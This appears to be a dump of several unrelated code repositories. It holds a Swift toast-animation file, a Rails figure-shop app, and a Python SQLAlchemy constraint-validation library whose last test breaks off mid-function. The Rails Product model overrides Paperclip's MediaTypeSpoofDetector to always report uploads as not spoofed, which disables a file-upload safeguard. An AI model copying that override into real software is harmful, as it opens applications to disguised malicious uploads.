startingFrame.origin.x += superviewFrame.width
case .vertical:
switch loafView.loaf.location {
case .bottom:
startingFrame.origin.y = superviewFrame.size.height
case .top, .custom( _):
startingFrame.origin.y = -loafView.frame.size.height
}
case .static:
break
}
loafView.frame = startingFrame
loafView.alpha = 0
UIView.animate(withDuration: 0.3, delay: 0, usingSpringWithDamping: 0.8, initialSpringVelocity: 0.65, options: [], animations: {
loafView.frame = endingFrame
loafView.alpha = 1
}, completion: { (finished) in
self.dismissTimer = Timer.scheduledTimer(withTimeInterval: loafView.loaf.duration, repeats: false, block: { timer in
if self.animationState == .presenting {
self.animationState = .presented
self.animateOut(loafView: loafView)
}
})
})
}
private func animateOut(loafView: LoafView) {
guard animationState == .presented || animationState == .presenting else {
return
}
guard loafView.superview != nil else {
return
}
dismissTimer?.invalidate()
dismissTimer = nil
animationState = .dismissing
let superviewFrame = window.frame
var endingFrame = loafView.frame
switch loafView.loaf.dismissingDirection {
case .left:
endingFrame.origin.x -= superviewFrame.width
case .right:
endingFrame.origin.x += superviewFrame.width
case .vertical:
switch loafView.loaf.location {
case .bottom:
endingFrame.origin.y = superviewFrame.size.height
case .top, .custom( _):
endingFrame.origin.y = -loafView.frame.size.height
}
case .static:
break
}
UIView.animate(withDuration: 0.3, delay: 0, usingSpringWithDamping: 0.8, initialSpringVelocity: 0.65, options: [.beginFromCurrentState], animations: {
loafView.frame = endingFrame
loafView.alpha = 0
}, completion: { finished in
if loafView.superview != nil {
loafView.loaf.completionHandler?(true)
loafView.removeFromSuperview()
}
if self.animationState == .dismissing {
self.animationState = .none
self.presentNext()
}
})
}
}
|
90a17d33a3d0207c1b9f31eb257d2931b5b6fa81
|
[
"Swift"
] | 3
|
Swift
|
aronspringfield/Loaf
|
ae4fc3e770ea3b386445233c62acc2e0cfe94f41
|
e0fd16421a1e96282b901a1e758e392b94eb363f
|
refs/heads/master
|
<file_sep>class EditContactsController < ApplicationController
before_action :set_edit_contact, only: [:show, :edit, :update, :destroy]
before_action :admin_login
# GET /edit_contacts
# GET /edit_contacts.json
def index
@edit_contacts = EditContact.all
end
# GET /edit_contacts/1
# GET /edit_contacts/1.json
def show
end
# GET /edit_contacts/new
def new
@edit_contact = EditContact.new
end
# GET /edit_contacts/1/edit
def edit
end
# POST /edit_contacts
# POST /edit_contacts.json
def create
@edit_contact = EditContact.new(edit_contact_params)
respond_to do |format|
if @edit_contact.save
format.html { redirect_to @edit_contact, notice: 'Edit contact was successfully created.' }
format.json { render action: 'show', status: :created, location: @edit_contact }
else
format.html { render action: 'new' }
format.json { render json: @edit_contact.errors, status: :unprocessable_entity }
end
end
end
# PATCH/PUT /edit_contacts/1
# PATCH/PUT /edit_contacts/1.json
def update
respond_to do |format|
if @edit_contact.update(edit_contact_params)
format.html { redirect_to @edit_contact, notice: 'Edit contact was successfully updated.' }
format.json { head :no_content }
else
format.html { render action: 'edit' }
format.json { render json: @edit_contact.errors, status: :unprocessable_entity }
end
end
end
# DELETE /edit_contacts/1
# DELETE /edit_contacts/1.json
def destroy
@edit_contact.destroy
respond_to do |format|
format.html { redirect_to edit_contacts_url }
format.json { head :no_content }
end
end
private
# Use callbacks to share common setup or constraints between actions.
def set_edit_contact
@edit_contact = EditContact.find(params[:id])
end
# Never trust parameters from the scary internet, only allow the white list through.
def edit_contact_params
params.require(:edit_contact).permit(:name, :contact_num, :email)
end
end
<file_sep>class EditContact < ActiveRecord::Base
end
<file_sep>class RemoveFilnameFromProduct < ActiveRecord::Migration
def change
remove_column :products, :image_filname, :string
end
end
<file_sep>require 'test_helper'
class EditContactsHelperTest < ActionView::TestCase
end
<file_sep>json.array!(@edit_contacts) do |edit_contact|
json.extract! edit_contact, :id, :name, :contact_num, :email
json.url edit_contact_url(edit_contact, format: :json)
end
<file_sep>json.array!(@orders) do |order|
json.extract! order, :id, :user_id, :date, :shipping_address, :billing_address, :price
json.url order_url(order, format: :json)
end
<file_sep><ul>
<% @products.each do |prod| %>
<li><%= link_to prod.title,
:action => 'show', :id => prod.id %></li>
<% end %>
</ul><file_sep>ActiveAdmin.register Product do
# See permitted parameters documentation:
# https://github.com/gregbell/active_admin/blob/master/docs/2-resource-customization.md#setting-up-strong-parameters
#
permit_params :name, :stock_quantity, :description, :image_file_name, :manufacturer_id, :category_id, :price, :image, :image_delete
#
# or
#
# permit_params do
# permitted = [:permitted, :attributes]
# permitted << :other if resource.something?
# permitted
# end
form do |f|
f.inputs :name
f.inputs :category, :as => :select, :collection => @categories, :include_blank => true, :label_method => :title
f.inputs :manufacturer, :as => :select, :collection => @manufacturers, :include_blank => true, :label_method => :title
f.inputs :description
f.inputs :price
f.inputs :stock_quantity
f.inputs "Image" do
f.input :image, :as => :file, :hint => (("current image:<br/>").html_safe + f.template.image_tag(f.object.image.url(:thumb))).html_safe, required: false
if (f.object.image.present?)
f.input :image_delete, as: :boolean, required: false, label: 'Remove image'
end
end
f.actions
end
end
<file_sep>require 'paperclip/media_type_spoof_detector'
module Paperclip
class MediaTypeSpoofDetector
def spoofed?
false
end
end
end
class Product < ActiveRecord::Base
belongs_to :category
belongs_to :manufacturer
has_attached_file :image, :styles => { :medium => "300x300>", :thumb => "100x100>" }, :default_url => "/images/:style/missing.png"
validates_attachment_content_type :image, :content_type => /\Aimage\/.*\Z/
#do_not_validate_attachment_file_type :image
#before_save :destroy_image?
# before_validation { self.image.destroy if self.image_delete = '1' }
def image_delete=(value)
if value == '1'
self.image = nil
end
end
def image_delete
end
def self.search(search, category)
search = "%" + search + "%"
if category == 'pvc'
Product.where("(name LIKE ? OR description LIKE ?) AND category_id = 1", search, search).order(:name)
elsif category == 'figma'
Product.where("(name LIKE ? OR description LIKE ?) AND category_id = 2", search, search).order(:name)
elsif category == 'nendoroid'
Product.where("(name LIKE ? OR description LIKE ?) AND category_id = 3", search, search).order(:name)
else
Product.where("name LIKE ? OR description LIKE ?", search, search)
#Product.where("name LIKE ? OR description LIKE ?", search, search)
end
end
end
<file_sep>json.extract! @edit_contact, :id, :name, :contact_num, :email, :created_at, :updated_at
<file_sep>require 'test_helper'
class EditContactsControllerTest < ActionController::TestCase
setup do
@edit_contact = edit_contacts(:one)
end
test "should get index" do
get :index
assert_response :success
assert_not_nil assigns(:edit_contacts)
end
test "should get new" do
get :new
assert_response :success
end
test "should create edit_contact" do
assert_difference('EditContact.count') do
post :create, edit_contact: { contact_num: @edit_contact.contact_num, email: @edit_contact.email, name: @edit_contact.name }
end
assert_redirected_to edit_contact_path(assigns(:edit_contact))
end
test "should show edit_contact" do
get :show, id: @edit_contact
assert_response :success
end
test "should get edit" do
get :edit, id: @edit_contact
assert_response :success
end
test "should update edit_contact" do
patch :update, id: @edit_contact, edit_contact: { contact_num: @edit_contact.contact_num, email: @edit_contact.email, name: @edit_contact.name }
assert_redirected_to edit_contact_path(assigns(:edit_contact))
end
test "should destroy edit_contact" do
assert_difference('EditContact.count', -1) do
delete :destroy, id: @edit_contact
end
assert_redirected_to edit_contacts_path
end
end
<file_sep>class StoreController < ApplicationController
def index
@categories = Category.order(:name)
@manufacturers = Manufacturer.order(:name)
@products = Product.order(:name)
end
def search
end
def search_results
@found_products = Product.search(params[:search], params[:category])
end
end
|
b21d6bc7476fd6ba0f2667d91d544a09c8d34451
|
[
"Ruby"
] | 12
|
Ruby
|
Donja/holo_collections
|
9cbabb1c4ef5cc32a1a7778577365488d2fdcc62
|
28b31084aba040c369a95cae97bfb5b664d09198
|
refs/heads/master
|
<repo_name>bartfrenk/constraints<file_sep>/constraints/traversal.py
from collections import deque, defaultdict
def multi_paths(adj_fn, start, singles=False):
"""List disjoint paths from start to all reachable vertices.
:param adj_fn: The adjacency function of the graph, see `bfs`.
:param start: The starting node, see `bfs`.
:param singles: Also return nodes that are reachable by a single path.
:returns: A dict with keys the nodes reachable from `start` by multiple
paths, and values a list of disjoint paths from `start` to that
node.
"""
edges_to = bfs(adj_fn, start)
paths = {}
for (key, ws) in edges_to.items():
if len(ws) > 1 or singles:
paths[key] = [_backtrack(edges_to, w) + [key] for w in ws]
return paths
def bfs(adj_fn, start):
"""Traverse a digraph in breadth-first order.
:param adj_fn: The adjacency function of the graph, i.e., it maps a vertex v
to a the list of w such that (v, w) is an arc in the digraph.
:param start: The node at which to start the traversal.
:returns: A dict with keys the nodes reachable from start and values a list
of penultimate nodes of path that connect them to start.
"""
todo = deque()
visited = set([])
edges_to = defaultdict(list)
visited.add(start)
todo.appendleft(start)
while todo:
v = todo.pop()
for w in adj_fn(v):
if w not in visited:
edges_to[w].append(v)
visited.add(w)
todo.appendleft(w)
else:
edges_to[w].append(v)
return edges_to
def _backtrack(edges_to, w):
path = [w]
current = w
if current in edges_to:
# take the shortest path
current = edges_to[current][0]
path.append(current)
path.reverse()
return path
<file_sep>/Makefile
.DEFAULT_GOAL:=help
PKG_NAME=constraints
# TODO: change this to work with pyenv for virtualenvs
.PHONY: clean
clean: ## Remove all generated files
@rm -rf doc/build
@rm -rf venv
@rm -rf build
@rm -rf dist
@rm -rf ${PKG_NAME}.egg-info
.PHONY: build-docs
build-docs: ## Build Sphinx documentation
build-docs: docs/build/index.html
.PHONY: docker-db-run
docker-db-run: ## Run docker container with database
docker run -d --name ${PKG_NAME}-db \
-p 15433:5432 \
-e POSTGRES_USER=docker \
-e POSTGRES_PASSWORD=<PASSWORD> \
-e POSTGRES_DB=docker \
postgres:9.6.2
.PHONY: help
help: ## Show this help
@echo "Makefile for LemonPI Constraints package\n"
@fgrep -h "##" $(MAKEFILE_LIST) | \
fgrep -v fgrep | sed -e 's/## */##/' | column -t -s##
.PHONY: report-lint
report-lint: ## Run PEP8 and PyLint linters
report-lint: report-pylint report-pep8
report-coverage: ## Compute code coverage
report-coverage: venv
@echo "Computing code coverage of unit tests..."
@. venv/bin/activate; \
PYTHONPATH=. \
coverage run --rcfile=./setup.cfg --source ${PKG_NAME}/ -m py.test tests && \
coverage report -m
.PHONY: report-pep8
report-pep8: ## Run PEP8
report-pep8: venv
@echo "Checking for pep8 warnings..."
@. venv/bin/activate; \
PYTHONPATH=. \
pep8 ${PKG_NAME} tests
.PHONY: report-pylint
report-pylint: ## Run PyLint
report-pylint: venv
@echo "Checking for pylint warnings..."
@. venv/bin/activate; \
PYTHONPATH=. \
pylint --rcfile setup.cfg --reports=n ${PKG_NAME} tests
.PHONY: setup
setup: ## Create Python virtualenv
setup: venv
.PHONY: test
test: ## Run all unit tests
test: venv
@. venv/bin/activate; \
py.test -s ./tests
test-watch: ## Run all unit tests in continuous testing mode
test-watch: venv
@. venv/bin/activate; \
PYTHONPATH=. \
ptw --clear -q ./tests ./${PKG_NAME} -- -s ./tests
.PHONY: run
run: ## Runs the web application
run: venv
@. venv/bin/activate; \
PYTHONPATH=. FLASK_APP=resources FLASK_DEBUG=1 \
flask run
.PHONY: upload
upload: ## Upload the package to a repository in ~/.pypirc
upload:
python setup.py sdist
python setup.py bdist_wheel --universal
twine upload --repository ${REPOSITORY} dist/*
.PHONY: upload
upload-test: ## Upload the package to PyPi repository 'testpypi'
upload-test: REPOSITORY=testpypi
upload-test: upload
docs/build/index.html: venv docs/source/* ${PKG_NAME}/*
@. venv/bin/activate; \
PYTHONPATH=. \
sphinx-build -b html docs/source docs/build
venv: requirements.txt test-requirements.txt
virtualenv $@; \
. ./$@/bin/activate; \
pip install -r requirements.txt; \
pip install -r test-requirements.txt
@touch venv
<file_sep>/tests/constraints/fixtures.py
import pytest
from sqlalchemy.ext.declarative import declarative_base
from sqlalchemy.orm import sessionmaker
from sqlalchemy import Column, Integer, String, \
Boolean, ForeignKey, create_engine, UniqueConstraint
@pytest.fixture
def sess():
engine = create_engine("sqlite://")
Base.metadata.create_all(bind=engine)
return sessionmaker(bind=engine)()
Base = declarative_base()
class Owner(Base):
__tablename__ = "owner"
owner_id = Column(Integer, primary_key=True)
class Parent(Base):
__tablename__ = "parent"
parent_id = Column(Integer, primary_key=True)
owner_id = Column(Integer, ForeignKey("owner.owner_id"))
class ChildA(Base):
__tablename__ = "child_a"
child_id = Column(Integer, primary_key=True)
name = Column(String(10), nullable=False)
opt = Column(Boolean)
parent_id = Column(Integer, ForeignKey("parent.parent_id"))
__table_args__ = (UniqueConstraint("parent_id", "name"), )
class ChildB(Base):
__tablename__ = "child_b"
child_id = Column(Integer, primary_key=True)
name = Column(String(10), nullable=False)
opt = Column(Boolean)
parent_id = Column(Integer, ForeignKey("parent.parent_id"))
__table_args__ = (UniqueConstraint("parent_id", "name"), )
class ChildC(Base):
__tablename__ = "child_c"
child_id = Column(Integer, primary_key=True)
name = Column(String(10), nullable=False)
opt = Column(Boolean)
parent_id = Column(Integer, ForeignKey("parent.parent_id"))
__table_args__ = (UniqueConstraint("parent_id", "name"), )
class GrandChild(Base):
__tablename__ = "grand_child"
grand_child_id = Column(Integer, primary_key=True)
parent_a_id = Column(Integer, ForeignKey("child_a.child_id"))
parent_b_id = Column(Integer, ForeignKey("child_b.child_id"))
name = Column(String(2), nullable=False)
class TripleGrandChild(Base):
__tablename__ = "grand_child_triple"
triple_grand_child_id = Column(Integer, primary_key=True)
parent_a_id = Column(Integer, ForeignKey("child_a.child_id"))
parent_b_id = Column(Integer, ForeignKey("child_b.child_id"))
parent_c_id = Column(Integer, ForeignKey("child_c.child_id"))
<file_sep>/requirements.txt
sqlalchemy==1.1.1
<file_sep>/constraints/declarative.py
"""Create constraint objects from SQLAlchemy models."""
from __future__ import print_function
from datetime import datetime
from sqlalchemy import UniqueConstraint
from .base import InstanceOf, MaxSize, Dict, BaseConstraints
from .error import Error
from .traversal import multi_paths
class FromModel(BaseConstraints):
"""Constraints derived from a SQLAlchemy model."""
def __init__(self, model, key_map=None, forbidden=None, ignore=None):
"""Create constraints from a SQLAlchemy model.
:param model: The model to derive the constraints from.
:param key_map: The map from column names to allowed keys in the dict.
:param forbidden: Set of forbidden column names.
:param ignore: The models to ignore as endpoints for multipath constraints.
"""
self._model = model
self._forbidden = forbidden or set()
self._key_map = key_map or (lambda x: x)
self._per_field_cns = self._create_per_field_cns()
self._root_cns = self._create_root_cns()
self._multi_path_cns = self._create_multi_path_constraints(ignore or
set())
def check(self, val, **ctx):
"""Check constraints on value.
:param val: The value to check.
:param ctx: The context in which to run the check, this may include the
following keyword parameters:
- session: The SQLAlchemy session, passing this allows the
checker to do database queries to verify constraints.
- within: A SQLAlchemy entity, if passed, foreign keys are
considered dangling if they refer to an entity whose model has
a foreign key relation to the model of the entity passed to
within, but that foreign key does not refer to the `within`
entity.
:returns: A falsy `Error` object, if constraints are not satisfied, the
truthy one otherwise.
"""
errors = self._per_field_cns(val, **ctx)
for c in self._root_cns:
errors.merge(c.check(val, **ctx))
for c in self._multi_path_cns:
errors.merge(c.check(val, **ctx))
return errors
@classmethod
def _is_optional(cls, col):
return col.nullable or col.primary_key or \
col.default is not None or \
col.server_default is not None
def _create_per_field_cns(self):
constraints = {}
optional = set()
for col in self._model.__table__.columns:
ty = col.type
key = self._key_map(col.key)
if self._is_optional(col):
optional.add(key)
constraints[key] = []
if hasattr(ty, "python_type"):
if ty.python_type is str:
constraints[key].append(InstanceOf(basestring))
elif ty.python_type is datetime:
constraints[key].append(InstanceOf(int))
else:
constraints[key].append(InstanceOf(ty.python_type))
if hasattr(ty, "length"):
constraints[key].append(MaxSize(ty.length))
for fk in iter(col.foreign_keys):
constraints[key].append(ForeignKeyExists(fk))
per_field_cns = Dict(**constraints)
per_field_cns.optional = optional
per_field_cns.forbidden = {self._key_map(key)
for key in self._forbidden}
return per_field_cns
def _create_root_cns(self):
root_cns = []
for cons in self._model.__table__.constraints:
if isinstance(cons, UniqueConstraint):
root_cns.append(Unique(cons, self._key_map))
return root_cns
def _create_multi_path_constraints(self, ignore):
start_tbl = self._model.__table__
ignore_tbls = set(model.__table__ for model in ignore)
return create_multi_path_constraints(start_tbl, self._key_map,
ignore_tbls)
def add_constraint(self, constraint):
self._root_cns.append(constraint)
def __repr__(self):
return '<{}({})>'.format(self.__class__.__name__, self._model.__name__)
class ForeignKeyExists(BaseConstraints):
"""Constraint that checks whether a foreign key exists."""
def __init__(self, fk):
"""Create a constraint.
:param fk: The foreign key to check for.
"""
self._fk = fk
@staticmethod
def _create_within_filter(pk_column, within):
fks = pk_column.table.foreign_keys
refs = [(fk, fk.get_referent(within.__table__).key) for fk in fks
if fk.references(within.__table__)]
return [fk.parent == getattr(within, key) for (fk, key) in refs]
def check(self, val, **ctx):
"""Check the constraint.
:param val: The value to check.
:param ctx: The context. Should contain a session, and may contain a
'within' parameter. See 'FromModel'.
"""
if 'session' not in ctx:
return Error()
session = ctx['session']
filters = []
column = self._fk.column
filters.append(column == val)
if 'within' in ctx:
within = ctx['within']
filters.extend(self._create_within_filter(column, within))
exists = session.query(column).filter(*filters).first()
if not exists:
return Error("does-not-exist")
return Error()
class Unique(BaseConstraints):
"""Constraint that checks whether a uniqueness constraint is violated."""
def __init__(self, unique, key_map=None):
"""Creates a constraint from a SQLAlchemy uniqueness constraint.
:param unique: The uniqueness constraint.
:param key_map: The map from model attributes to keys in the dict.
"""
self._unique = unique
self._pk = self._primary_key(unique)
self._key_map = key_map or (lambda x: x)
def _primary_key(self, unique):
# pylint: disable=no-self-use
return unique.table.primary_key.columns
def _is_entity(self, exists, val):
try:
pks = [val[self._key_map(col.key)] for col in self._pk]
return pks == list(exists)
except KeyError:
return False
def check(self, val, **ctx):
"""Checks the uniqueness constraint.
Requires a SQLAlchemy session to be in the context under the key
'session'.
:param val: The value to check.
:returns: An Error object.
"""
if 'session' not in ctx:
return Error()
session = ctx['session']
cols = list(self._unique.columns)
exists = False
if all(self._key_map(col.key) in val for col in cols):
filters = [col == val[self._key_map(col.key)] for col in cols]
exists = session.query(*self._pk).filter(*filters).first()
if exists and not self._is_entity(exists, val):
keys = [col for col in cols if not col.foreign_keys]
if len(keys) == 1:
return Error({self._key_map(keys[0].key): Error("duplicate")})
return Error("duplicate")
return Error()
class MultiPathConstraint(BaseConstraints):
"""A multi-path constraint checks whether two distinct foreing key chains,
starting at some base table lead to the same instance. For example,
Given the following chains of foreign keys (with the table containing the
foreign key at the tail of the arrow):
- GrandChild --> ChildA --> Parent
- GrandChild --> ChildB --> Parent
and a dict of values `val` for the ChildA and ChildB foreign keys in
GrandChild. A multi-path constraint of the list of paths ``[[GrandChild,
ChildA, Parent], [GrandChild, ChildB, Parent]]``, checks whether the ChildA
and ChildB instances referred to by the foreign keys in `val` point to the
same Parent instance, and it returns a truthy Error object when they don't.
"""
def __init__(self, paths, key_map=None):
"""Create a multi-path constraint for the list of paths `path`.
:param paths: The list of paths this multi-path constraint is for.
:param key_map: Maps the model attributes to the keys in the value to be checked.
:returns: An `Error` object, truthy, with a description of the error, if
the paths lead to different instances, a trivial and falsy
`Error` object otherwise.
"""
self._key_map = key_map or (lambda x: x)
self._foreign_keys = self._get_foreign_keys(paths)
def check(self, val, **ctx):
"""Check the MultiPath constraint on `val`.
The context should contain a key `session` that maps to a SQLAlchemy
session.
"""
if 'session' not in ctx:
return Error()
session = ctx['session']
if not isinstance(val, dict):
return Error()
results = set()
mismatches = []
for (key, v) in val.items():
if key in self._foreign_keys:
(fk_column, path) = self._foreign_keys[key]
query = self._path_query(session, fk_column, path, v)
for row in query:
results.add(row)
mismatches.append(key)
if len(results) == 1:
return Error()
return Error({tuple(mismatches):
Error("mismatch ({})".format(self._end_table_name))})
def _get_foreign_keys(self, paths):
"""
Construct a dict of the foreign key fields in the joint start of the
paths, to a tuple containing the column referred to by the foreign key
in the second table in the path, and the path itself.
"""
result = {}
start = paths[0][0]
for fk in start.foreign_keys:
for path in paths:
if fk.references(path[1]):
result[self._key_map(fk.parent.name)] = (fk.column, path)
return result
@property
def _end_table_name(self):
return self._foreign_keys.values()[0][-1][-1].name
@staticmethod
def _path_query(session, fk_column, path, v):
it = reversed(path[1:])
query = session.query(next(it))
for tb in it:
query = query.join(tb)
return query.filter(fk_column == v)
def create_multi_path_constraints(start_tbl, key_map=None, ignore=None):
"""Create the complete list of multi-path constraints that start at
`start_tbl`. Ignores paths that end in a table contained in `ignore`.
:param start_tbl: The table for which to create the multi-path constraints.
:param key_map: The key map, mapping fields of the value to check to
attributes of the model.
:param ignore: The set of tables to ignore as path endpoints.
:returns: A list of `MultiPathConstraint` instances, one for each set of
multi-paths starting from `start_tbl` and ending in a table not in
`ignore`.
"""
ignore = ignore or set()
def adj(tb):
return [fk.column.table for fk in tb.foreign_keys]
constraints = []
end_tbl_to_paths = multi_paths(adj, start_tbl)
for (end_tbl, paths) in end_tbl_to_paths.items():
if end_tbl not in ignore:
constraints.append(MultiPathConstraint(paths, key_map))
return constraints
<file_sep>/constraints/base.py
"""Defines basic constraint objects."""
from abc import ABCMeta, abstractmethod
from .error import Error
class BaseConstraints(object):
"""Abstract base class for constraints."""
__metaclass__ = ABCMeta
@abstractmethod
def check(self, val, **ctx):
"""Check argument for constraints within a context.
:param val: The value to check.
:param ctx: The context to run the check in, for example, this might
include a database session.
:returns: An non-trivial Error object when the argument does not satisfy
the constraints, or Error() when it does.
:rtype: An Error object.
"""
pass
def __call__(self, val, **ctx):
return self.check(val, **ctx)
class Generic(BaseConstraints):
"""Generic constraint from a predicate."""
def __init__(self, code, pred):
"""Create a generic constraint.
:param code: On error, the constraint returns Error(code).
:param pred: The predicate to check for.
"""
self._code = code
self._pred = pred
def check(self, val, **ctx):
if not self._pred(val):
return Error(self._code)
return Error()
def __repr__(self):
return "<{}({})>".format(self.__class__.__name__, self._code)
def MaxSize(n):
"""Create generic constraint on the length of the value."""
return Generic('max-size', lambda v: len(v) <= n)
def InstanceOf(cls):
"""Create generic constraint on the type of the value."""
return Generic('wrong-type', lambda v: isinstance(v, cls))
class Dict(BaseConstraints):
"""Composite constraint on a Python dict."""
def __init__(self, **fields):
self._fields = fields
self._optional = set()
self._forbidden = set()
@property
def optional(self):
return self._optional
@optional.setter
def optional(self, keys):
for key in keys:
if key not in set(self._fields.keys()):
raise ValueError('{} is not a key'.format(key))
self._optional = keys
@property
def forbidden(self):
return self._forbidden
@forbidden.setter
def forbidden(self, keys):
for key in keys:
if key not in set(self._fields.keys()):
raise ValueError('{} is not a key'.format(key))
self._forbidden = keys
def check(self, val, **ctx):
if not isinstance(val, dict):
return Error('wrong-type')
root = {}
for (key, constraints) in self._fields.items():
errors = Error()
if key not in val:
if key not in self.optional and key not in self.forbidden:
errors.merge(Error('missing'))
elif key in self.forbidden:
errors.merge(Error('forbidden'))
else:
for c in constraints:
errors.merge(c.check(val[key], **ctx))
if errors:
root[key] = errors
if root:
return Error(root)
return Error()
class All(BaseConstraints):
def __init__(self, *constraints):
self._constraints = list(constraints)
def check(self, val, **ctx):
err = Error()
for c in self._constraints:
err.merge(c.check(val, **ctx))
return err
<file_sep>/tests/constraints/test_base.py
# pylint: disable=no-self-use
from pytest import mark
import constraints.base as sut
from constraints.error import Error
class TestMaxSize(object):
def test_non_trivial_result_on_input_too_large(self):
actual = sut.MaxSize(1).check("test")
assert Error('max-size') == actual
def test_trivial_result_on_input_short_enough(self):
actual = sut.MaxSize(4).check("test")
assert not actual
class TestInstanceOf(object):
@mark.parametrize("inp,ty", [
(True, str),
("str", bool)])
def test_non_trivial_result_when_input_of_wrong_type(self, inp, ty):
actual = sut.InstanceOf(ty).check(inp)
assert Error('wrong-type') == actual
@mark.parametrize("inp,ty", [
(True, bool),
("str", str)])
def test_trivial_result_when_input_of_correct_type(self, inp, ty):
actual = sut.InstanceOf(ty).check(inp)
assert not actual
class TestDict(object):
def test_run_all_constraints_for_a_single_field(self):
cn = sut.Dict(key=[sut.InstanceOf(bool), sut.InstanceOf(str)])
actual = cn.check({"key": 1})
assert Error({"key": Error("wrong-type", "wrong-type")}) == actual
def test_for_missing_keys(self):
cn = sut.Dict(key=[])
actual = cn.check({})
assert Error({"key": Error("missing")}) == actual
def test_allow_optional_keys(self):
cn = sut.Dict(key=[])
cn.optional = set(["key"])
actual = cn.check({})
assert not actual
def test_return_empty_list_on_success(self):
cn = sut.Dict(key=[sut.InstanceOf(bool)])
actual = cn.check({"key": True})
assert not actual
def test_return_wrong_type_on_non_dict(self):
cn = sut.Dict(key=[sut.InstanceOf(bool)])
actual = cn.check("test")
assert Error("wrong-type") == actual
class GenericTest(object):
def test_return_specified_error_on_predicate_failure(self):
cn = sut.Generic("code", lambda x: x != 1)
actual = cn.check(2)
assert Error("code") == actual
def test_return_empty_list_on_predicate_success(self):
cn = sut.Generic("code", lambda x: x != 1)
actual = cn.check(1)
assert Error("code") == actual
<file_sep>/docs/build/_sources/modules/declarative.rst.txt
.. Constraints documentation master file, created by
sphinx-quickstart on Sun Aug 27 13:35:08 2017.
You can adapt this file completely to your liking, but it should at least
contain the root `toctree` directive.
constraints.declarative
=======================
Given the following SQL alchemy models.
.. code-block:: python
from sqlalchemy.ext.declarative import declarative_base
from sqlalchemy import Column, Integer, String, \
Boolean, ForeignKey, create_engine, UniqueConstraint
from constrainst.declarative import FromModel
class Parent(Base):
__tablename__ = "parent"
parent_id = Column(Integer, primary_key=True)
class Child(Base):
__tablename__ = "child"
child_id = Column(Integer, primary_key=True)
name = Column(String(10), nullable=False)
opt = Column(Boolean)
parent_id = Column(Integer, ForeignKey("parent.parent_id"))
__table_args__ = (
UniqueConstraint("parent_id", "name"),
)
def to_camel_case(snake_str):
components = snake_str.split('_')
return components[0] + "".join(x.title() for x in components[1:])
Create constraints to validate representations of the Child entity.
>>> cn = FromModel(Child, key_map=to_camel_case)
>>> obj = {"parentId": 1, "name": 11 * "x"}
>>> cn.check(obj, session=session)
.. automodule:: constraints.declarative
:members:
<file_sep>/tests/constraints/test_declarative.py
# pylint: disable=redefined-outer-name, no-self-use
import constraints.declarative as sut
from constraints.error import Error
from .fixtures import Parent, ChildA, ChildB, ChildC, GrandChild, TripleGrandChild, Owner
from .fixtures import sess # pylint: disable=unused-import
class TestFromModel(object):
def test_missing_non_nullable_returns_error(self, sess):
cn = sut.FromModel(ChildA)
actual = cn.check({"child_id": 1}, session=sess)
assert actual == Error({"name": Error("missing")})
def test_dangling_foreign_key_returns_error(self, sess):
cn = sut.FromModel(ChildA)
actual = cn.check({"child_id": 1,
"parent_id": 1,
"name": "x"},
session=sess)
assert actual == Error({"parent_id": Error("does-not-exist")})
def test_existing_foreign_key_passes(self, sess):
cn = sut.FromModel(ChildA)
sess.add(Parent(parent_id=1))
actual = cn.check({"child_id": 1,
"parent_id": 1,
"name": "x"},
session=sess)
assert not actual
def test_duplicate_field_in_context_returns_error(self, sess):
cn = sut.FromModel(ChildA)
sess.add(Parent(parent_id=1))
sess.add(ChildA(name="x", parent_id=1))
actual = cn.check({"child_id": 314,
"parent_id": 1,
"name": "x"},
session=sess)
assert actual == Error({"name": Error("duplicate")})
def test_duplicate_field_merges_with_other_errors(self, sess):
cn = sut.FromModel(ChildA)
sess.add(Parent(parent_id=1))
sess.add(ChildA(child_id=1, name=11 * "x", parent_id=1))
actual = cn.check({"child_id": 2,
"parent_id": 1,
"name": 11 * "x"},
session=sess)
assert actual == Error({"name": Error("max-size", "duplicate")})
def test_consider_foreign_key_dangling_when_out_of_context(self, sess):
# TODO: refactor this test
cn = sut.FromModel(ChildA)
owner = Owner(owner_id=1)
sess.add(owner)
sess.add(Owner(owner_id=2))
sess.add(Parent(parent_id=1, owner_id=2))
actual = cn.check({"parent_id": 1,
"name": "x"},
session=sess,
within=owner)
assert actual == Error({"parent_id": Error("does-not-exist")})
def test_multi_path_constraints_trigger(self, sess):
# TODO: refactor this test
sess.add(Parent(parent_id=1))
sess.add(Parent(parent_id=2))
sess.add(ChildA(child_id=1, parent_id=1, name='A'))
sess.add(ChildB(child_id=1, parent_id=2, name='B'))
sess.commit()
cn = sut.FromModel(GrandChild)
actual = cn.check({"parent_a_id": 1, "parent_b_id": 1}, session=sess)
unwrapped = actual.unwrap()
assert len(unwrapped) == 1
assert set(unwrapped[0].keys()[0]) == {"parent_a_id", "parent_b_id"}
assert unwrapped[0].keys()[1] == "name"
assert unwrapped[0].values() == [["mismatch (parent)"], ["missing"]]
def test_ignore_correctly_applied_to_multi_path_constraints(self, sess):
sess.add(Parent(parent_id=1))
sess.add(Parent(parent_id=2))
sess.add(ChildA(child_id=1, parent_id=1, name='A'))
sess.add(ChildB(child_id=1, parent_id=2, name='B'))
sess.commit()
cn = sut.FromModel(GrandChild, ignore=set([Parent]))
actual = cn.check({"parent_a_id": 1, "parent_b_id": 1}, session=sess)
assert actual == Error({"name": Error("missing")})
class TestMultiPathConstraints(object):
# TODO: refactor these tests
def test_no_error_when_paths_lead_to_identical_object(self, sess):
sess.add(Parent(parent_id=1))
sess.add(ChildA(child_id=1, parent_id=1, name='A'))
sess.add(ChildB(child_id=1, parent_id=1, name='B'))
sess.commit()
paths = [[GrandChild.__table__, ChildA.__table__, Parent.__table__],
[GrandChild.__table__, ChildB.__table__, Parent.__table__]]
cn = sut.MultiPathConstraint(paths)
actual = cn.check({"parent_a_id": 1, "parent_b_id": 1}, session=sess)
assert not actual
def test_error_when_two_paths_lead_to_different_object(self, sess):
sess.add(Parent(parent_id=1))
sess.add(Parent(parent_id=2))
sess.add(ChildA(child_id=1, parent_id=1, name='A'))
sess.add(ChildB(child_id=1, parent_id=2, name='B'))
sess.commit()
paths = [[GrandChild.__table__, ChildA.__table__, Parent.__table__],
[GrandChild.__table__, ChildB.__table__, Parent.__table__]]
cn = sut.MultiPathConstraint(paths)
actual = cn.check({"parent_a_id": 1, "parent_b_id": 1}, session=sess)
unwrapped = actual.unwrap()
assert len(unwrapped) == 1
assert set(*unwrapped[0].keys()) == {"parent_a_id", "parent_b_id"}
assert unwrapped[0].values() == [["mismatch (parent)"]]
def test_that_key_map_is_applied_appropriately(self, sess):
def key_map(attr):
